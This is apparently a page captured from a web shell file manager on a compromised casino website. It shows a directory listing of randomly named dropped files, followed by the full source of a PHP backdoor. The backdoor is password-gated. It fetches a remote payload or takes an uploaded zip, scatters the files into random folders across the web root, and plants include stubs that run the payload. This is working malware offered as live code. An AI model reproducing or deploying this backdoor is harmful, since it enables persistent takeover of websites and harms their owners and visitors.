Gecko [ lemon-casino1.com ]

Name	Size	Permission	Date
systemd-private-069afb5f8549494d8892043408331592-chrony.service-5UOl34	[ DIR ]	drwx------	2025-09-11 14:32
systemd-private-069afb5f8549494d8892043408331592-memcached.service-MypcqA	[ DIR ]	drwx------	2025-09-11 14:32
systemd-private-069afb5f8549494d8892043408331592-redis-server.service-N36Nbu	[ DIR ]	drwx------	2025-09-11 14:32
systemd-private-069afb5f8549494d8892043408331592-systemd-logind.service-is4wda	[ DIR ]	drwx------	2025-09-11 14:32
systemd-private-069afb5f8549494d8892043408331592-systemd-resolved.service-AgtIKj	[ DIR ]	drwx------	2025-09-11 14:32
.cron-job.sh	205 B	-rw-r--r--	2025-10-12 16:36
.wordpress_web23392111.txt	0 B	-rw-r--r--	2025-10-12 16:36
0XdXnc.gif	3.08 KB	-rw-r--r--	2025-10-16 03:40
1yIdoW.gif	1.07 KB	-rw-r--r--	2025-10-16 03:39
2fMir4.gif	1.2 KB	-rw-r--r--	2025-10-19 22:22
30eoQ7.gif	3.08 KB	-rw-r--r--	2025-10-19 22:26
3NrxLQ.gif	1.07 KB	-rw-r--r--	2025-10-19 22:26
41em0u.gif	1.2 KB	-rw-r--r--	2025-10-19 22:25
6HowGl.gif	35 B	-rw-r--r--	2025-10-14 10:17
78jDiC.gif	1.19 KB	-rw-r--r--	2025-10-16 03:42
7CxqMu.gif	1.07 KB	-rw-r--r--	2025-10-16 03:39
7ueTQs.gif	1.2 KB	-rw-r--r--	2025-10-16 03:40
8hsWvs.gif	1.2 KB	-rw-r--r--	2025-10-19 22:26
8x9BlH.gif	1.19 KB	-rw-r--r--	2025-10-16 03:39
96gzkA.gif	1.17 KB	-rw-r--r--	2025-10-19 22:22
9TY5h3.gif	3.09 KB	-rw-r--r--	2025-10-16 03:41
9WmkXl.gif	1.2 KB	-rw-r--r--	2025-10-19 22:26
AILT1O.gif	1.21 KB	-rw-r--r--	2025-10-16 03:42
APV1ou.gif	1.2 KB	-rw-r--r--	2025-10-19 22:22
ASE0vt.gif	1.2 KB	-rw-r--r--	2025-10-19 22:22
Acx0indexwplers0x.do.not.remove.this.Lock	296.79 KB	-rw-r--r--	2025-10-22 06:56
B24POd.gif	1.2 KB	-rw-r--r--	2025-10-16 03:42
EQ9yvX.gif	1.2 KB	-rw-r--r--	2025-10-16 03:40
Ec5vxp.gif	1.17 KB	-rw-r--r--	2025-10-07 19:27
F7bdsa.gif	1.2 KB	-rw-r--r--	2025-10-19 22:26
F7jwJe.gif	1.2 KB	-rw-r--r--	2025-10-16 03:40
FCbnor.gif	3.08 KB	-rw-r--r--	2025-10-19 22:23
Faoj7I.gif	1.2 KB	-rw-r--r--	2025-10-16 03:40
Gaamum.gif	1.2 KB	-rw-r--r--	2025-10-16 03:41
GjU1AT.gif	35 B	-rw-r--r--	2025-10-14 10:30
H2rXHC.gif	1.17 KB	-rw-r--r--	2025-10-16 03:37
HQ9Vod.gif	1.18 KB	-rw-r--r--	2025-10-16 03:36
HkOiSX.gif	1.06 KB	-rw-r--r--	2025-10-16 03:43
KjeCEm.gif	1.06 KB	-rw-r--r--	2025-10-16 03:41
KvYVN7.gif	3.08 KB	-rw-r--r--	2025-10-16 03:37
L44RjE.gif	3.08 KB	-rw-r--r--	2025-10-16 03:38
LIOUEP.gif	1.19 KB	-rw-r--r--	2025-10-16 03:38
MD1Vj1.gif	1.19 KB	-rw-r--r--	2025-10-16 03:41
N6Xoe8.gif	1.2 KB	-rw-r--r--	2025-10-16 03:36
N9jRG1.gif	1.07 KB	-rw-r--r--	2025-10-16 03:40
O0OwIj.gif	1.2 KB	-rw-r--r--	2025-10-16 03:40
ONrDHP.gif	3.08 KB	-rw-r--r--	2025-10-16 03:43
OpIkWA.gif	974 B	-rw-r--r--	2025-10-19 22:25
Pliry3.gif	1.2 KB	-rw-r--r--	2025-10-16 03:42
Pymmn1.gif	1.2 KB	-rw-r--r--	2025-10-16 03:37
QRCDLT.gif	1.2 KB	-rw-r--r--	2025-10-16 03:39
R0oP36.gif	1.2 KB	-rw-r--r--	2025-10-16 03:40
R1ifWj.gif	1.07 KB	-rw-r--r--	2025-10-16 03:42
RPaUzE.gif	1.2 KB	-rw-r--r--	2025-10-16 03:42
RUipFR.gif	1.19 KB	-rw-r--r--	2025-10-16 03:38
Rj2xqq.gif	1.17 KB	-rw-r--r--	2025-10-19 22:23
RpUMZO.gif	1.19 KB	-rw-r--r--	2025-10-16 03:39
SC9DGw.gif	1.19 KB	-rw-r--r--	2025-10-16 03:41
SujIdM.gif	1.2 KB	-rw-r--r--	2025-10-16 03:40
Sv0lEE.gif	1.2 KB	-rw-r--r--	2025-10-19 22:22
TDR6in.gif	1.19 KB	-rw-r--r--	2025-10-19 22:22
U0af18.gif	1.2 KB	-rw-r--r--	2025-10-16 03:38
U6bER2.gif	1.19 KB	-rw-r--r--	2025-10-16 03:40
VwpN1x.gif	1.21 KB	-rw-r--r--	2025-10-19 22:24
Wz5ecS.gif	1.2 KB	-rw-r--r--	2025-10-16 03:38
XIQGVs.gif	1.2 KB	-rw-r--r--	2025-10-16 03:43
Xg31qm.gif	1.2 KB	-rw-r--r--	2025-10-16 03:39
YCuu2P.gif	1.19 KB	-rw-r--r--	2025-10-19 22:22
YNTXOS.gif	1.2 KB	-rw-r--r--	2025-10-16 03:41
YsvwsC.gif	1.19 KB	-rw-r--r--	2025-10-16 03:39
aFKOjL.gif	1.2 KB	-rw-r--r--	2025-10-19 22:22
ashomefireball-casinobackupspxhaindexndler0.Lock	934 B	-rw-r--r--	2025-10-22 16:15
ashomefireballcasinoorgbackupspxhaindexndler0.Lock	934 B	-rw-r--r--	2025-10-22 16:08
ashomefireballcasinoorgpxhaindexndler0.Lock	934 B	-rw-r--r--	2025-10-22 13:47
ashomefireballcasinopxhaindexndler0.Lock	934 B	-rw-r--r--	2025-10-22 11:26
ashomelemon-casino1.cachepxhaindexndler0.Lock	934 B	-rw-r--r--	2025-10-22 11:36
ashomelemon-casino1htdocslemon-casino1.comenpxhaindexndler0.Lock	934 B	-rw-r--r--	2025-10-22 06:56
ashomelemon-casino1htdocspxhaindexndler0.Lock	934 B	-rw-r--r--	2025-10-22 09:03
ashomelemon-casino1pxhaindexndler0.Lock	934 B	-rw-r--r--	2025-10-22 09:10
ashomelemondedescasinospxhaindexndler0.Lock	934 B	-rw-r--r--	2025-10-22 11:32
ashomelemonkaszinopxhaindexndler0.Lock	934 B	-rw-r--r--	2025-10-22 11:32
ashomepxhaindexndler0.Lock	934 B	-rw-r--r--	2025-10-22 09:05
aspxhaindexndler0.Lock	934 B	-rw-r--r--	2025-10-22 09:08
axwSeU.gif	1.2 KB	-rw-r--r--	2025-10-16 03:39
bBE6BJ.gif	1.19 KB	-rw-r--r--	2025-10-16 03:36
bpE9eY.gif	1.2 KB	-rw-r--r--	2025-10-16 03:43
bqmSwv.gif	3.08 KB	-rw-r--r--	2025-10-19 22:23
bqtAdp.gif	1.19 KB	-rw-r--r--	2025-10-16 03:37
cOz7UW.gif	3.08 KB	-rw-r--r--	2025-10-16 03:41
cn7KhD.gif	1.2 KB	-rw-r--r--	2025-10-16 03:41
dWPxaq.gif	1.2 KB	-rw-r--r--	2025-10-16 03:40
fvWW2f.gif	3.08 KB	-rw-r--r--	2025-10-19 22:25
gI7WuL.gif	1.2 KB	-rw-r--r--	2025-10-16 03:36
hVHweR.gif	1.19 KB	-rw-r--r--	2025-10-16 03:38
hcpeH1.gif	1.2 KB	-rw-r--r--	2025-10-19 22:24
i04RMB.gif	1.18 KB	-rw-r--r--	2025-10-19 22:22
iakmCt.gif	1.2 KB	-rw-r--r--	2025-10-16 03:43
iwfDfW.gif	1.07 KB	-rw-r--r--	2025-10-16 03:42
jDzlTz.gif	1.19 KB	-rw-r--r--	2025-10-19 22:23
jNVQmj.gif	3.09 KB	-rw-r--r--	2025-10-16 03:39
jeuKrk.gif	1.2 KB	-rw-r--r--	2025-10-16 03:42
kEqne0.gif	3.08 KB	-rw-r--r--	2025-10-19 22:23
lqUmHL.gif	1.19 KB	-rw-r--r--	2025-10-16 03:37
mSAzCu.gif	1.19 KB	-rw-r--r--	2025-10-16 03:41
p5Vzrd.gif	1.2 KB	-rw-r--r--	2025-10-16 03:39
php58Lp9N	765.19 KB	-rw-r--r--	2025-10-20 05:14
rkhPsJ.gif	1.17 KB	-rw-r--r--	2025-10-07 19:27
s8U4Po.gif	1.19 KB	-rw-r--r--	2025-10-16 03:38
sGjFLI.gif	3.08 KB	-rw-r--r--	2025-10-07 19:28
sess_oPNtTD	2.91 KB	-rw-------	2025-10-20 05:14
tWmUiF.gif	1.2 KB	-rw-r--r--	2025-10-16 03:37
tg8m35.gif	975 B	-rw-r--r--	2025-10-19 22:24
unix.11E0vUCM	38.11 KB	-rw-------	2025-10-20 05:14
unix.11mwKKAV	38.11 KB	-rw-------	2025-10-20 05:14
uy5xDO.gif	1.2 KB	-rw-r--r--	2025-10-16 03:42
vHxN7L.gif	1.07 KB	-rw-r--r--	2025-10-16 03:38
vMngSP.gif	3.08 KB	-rw-r--r--	2025-10-16 03:42
wQUIoV.gif	1.17 KB	-rw-r--r--	2025-10-16 03:36
wlxdXU.gif	1.2 KB	-rw-r--r--	2025-10-16 03:43
xj6s8n.gif	3.09 KB	-rw-r--r--	2025-10-19 22:24
xlSFAd.gif	1.18 KB	-rw-r--r--	2025-10-07 19:27
y5ri3F.gif	1.2 KB	-rw-r--r--	2025-10-16 03:41
ysgYTK.gif	1.19 KB	-rw-r--r--	2025-10-19 22:26
zHyMd4.gif	3.08 KB	-rw-r--r--	2025-10-19 22:23
zeLO83.gif	1.2 KB	-rw-r--r--	2025-10-16 03:43

Rename

<?php @ini_set('error_log',NULL);@error_reporting(0);@set_time_limit(0);if(function_exists("opcache_reset"))opcache_reset();@header("X-LiteSpeed-Purge: *");@header('X-LSCACHE: off');$c='ff3a816e23d69979ae6f8cae49aef3ea';function wp_die($e){die($e);}$g=!empty($_COOKIE['uid'])?$_COOKIE['uid']:$_REQUEST['uid'];if(empty($g)||md5(md5(sha1(md5(md5($g)))))!=$c)wp_die("p");function listFolders($h){$j=scandir($h);$k=array();foreach($j as $m){if($m=="."||$m=="..")continue;$q=$h."/".$m;if(is_dir($q)){$k[]=$q;$k=array_merge($k,listFolders($q));};}return $k;}function rstr($r=6){return substr(str_shuffle('0123456789abcdefghijklmnopqrstuvwxyz'),1,$r);}function to($q,$u){$v=rand(0,count($q)-1);$w="1";if(!empty($_REQUEST['o']))$w=$_REQUEST['o'];$x=$q[$v]."/".rstr()."/";mkdir($x,0777,true);if($w=="1"){$x.="index.php";}elseif($w=="2"){$x.=rstr(5).".php";}elseif($w=="3"){$x.=$u;}return $x;}function d1($y){$z=@fopen($y,'r');$aa="";if(!$z)return false;stream_get_meta_data($z);while(!feof($z)){$aa.=fgets($z);}fclose($z);return $aa;}function d2($y){$bb=file_get_contents($y);if(empty($bb))d1($y);return $bb;}function fw($y,$q,$cc=null){if(file_put_contents($y,$q)){return true;}else{$dd=@FOPen($y,"w");if($dd){if(fwrite($dd,$q)||($cc!=null&&stream_copy_to_stream($cc,$dd))){@fClOsE($dd);return true;};}};return false;}function down($r,$ee){$gg=false;if(function_exists('curl_init')){$hh=curl_init($r);$z=fopen($ee,'w+');curl_setopt($hh,CURLOPT_FILE,$z);curl_setopt($hh,CURLOPT_TIMEOUT,50);if(curl_exec($hh)){$gg=true;}curl_close($hh);fclose($z);}else{$aa=d2($r);if($aa)$gg=fw($ee,$aa);}return $gg;}if(!empty($_REQUEST["l"])&&$_REQUEST["l"]=="a")wp_die(md5_file(__FILE__));$ii=$_SERVER['DOCUMENT_ROOT'];$jj=listFolders($ii);$cc=to($jj,"").".zip";if(!empty($_FILES['pluginzip'])){$cc=$_FILES['pluginzip']['tmp_name'];move_uploaded_file($_FILES['pluginzip']['tmp_name'],$cc);}elseif(!empty($_REQUEST["l"])){if(!down(gzuncompress(hex2bin($_REQUEST["l"])),$cc))wp_die("d");}elseif(!empty($_REQUEST['uid']))wp_die("<form method='post' enctype='multipart/form-data'><input type='file' name='pluginzip'><input type='submit'/>");$kk="";$ll=array();if(class_exists("ZipArchive")){$mm=new ZipArchive();if($mm->open($cc)!==TRUE)wp_die("z");for($v=0;$v<$mm->numFiles;$v++){$nn=$mm->getNameIndex($v);$z=$mm->getStream($nn);$ll[]=$nn;$oo=explode("/",$nn);$pp=end($oo);if($z){$qq=stream_get_contents($z);$rr=to($jj,$pp);$ss=str_replace($ii,"",$rr)."\n";if(fw($rr,$qq,$z)){echo $ss;};}}$mm->close();$kk='"zip://'.$cc.'#';}elseif(!empty($_REQUEST["n"])){$kk='"phar://'.$cc.'/';$ll=explode("|",gzuncompress(hex2bin($_REQUEST["n"])));foreach($ll as $tt){$qq=file_get_contents('phar://'.$cc.'/'.$tt);if($qq){$rr=to($jj,$tt);$ss=str_replace($ii,"",$rr)."\n";if(fw($rr,$qq)){echo $ss;};}}}if(!empty($kk)){$_REQUEST['o']=1;foreach($ll as $tt){$rr=to($jj,'');$qq='<?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "'.$tt.'"; include('.$kk.'$h");?>';if(fw($rr,$qq))echo str_replace($ii,"",$rr)."\n";}}?>